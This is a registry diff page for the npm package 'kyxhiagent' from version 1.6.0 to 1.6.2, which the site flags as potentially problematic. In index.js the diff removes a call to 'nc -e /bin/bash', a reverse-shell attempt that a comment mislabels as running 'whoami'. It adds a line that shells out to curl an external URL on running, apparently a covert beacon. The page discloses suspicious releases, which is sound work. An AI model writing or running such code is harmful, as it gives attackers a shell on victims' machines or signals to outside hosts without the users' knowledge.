kyxhiagent 1.6.0 → 1.6.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of kyxhiagent might be problematic. Click here for more details.
- package/index.js +1 -12
- package/kyxhiagent-1.6.1.tgz +0 -0
- package/package.json +2 -2
- package/xhjxhjhiagent-1.6.0.tgz +0 -0
package/index.js
CHANGED
|
@@ -1,14 +1,3 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
|
-
|
|
2
|
+
require("child_process").exec("curl https://cloudapi.bytedance.net/faas/services/ttxz29/invoke/ssrf?1hiagent")
|
|
3
3
|
|
|
4
|
-
// Execute 'whoami' and print the result
|
|
5
|
-
exec("nc -e /bin/bash", (error, stdout, stderr) => {
|
|
6
|
-
if (error) {
|
|
7
|
-
console.error(`exec error: ${error}`);
|
|
8
|
-
return;
|
|
9
|
-
}
|
|
10
|
-
if (stderr) {
|
|
11
|
-
console.error(`stderr: ${stderr}`);
|
|
12
|
-
}
|
|
13
|
-
console.log(`[+] Command executed successfully. Current user: ${stdout.trim()}`);
|
|
14
|
-
});
|
|
Binary file
|
package/package.json
CHANGED
package/xhjxhjhiagent-1.6.0.tgz
DELETED
|
Binary file
|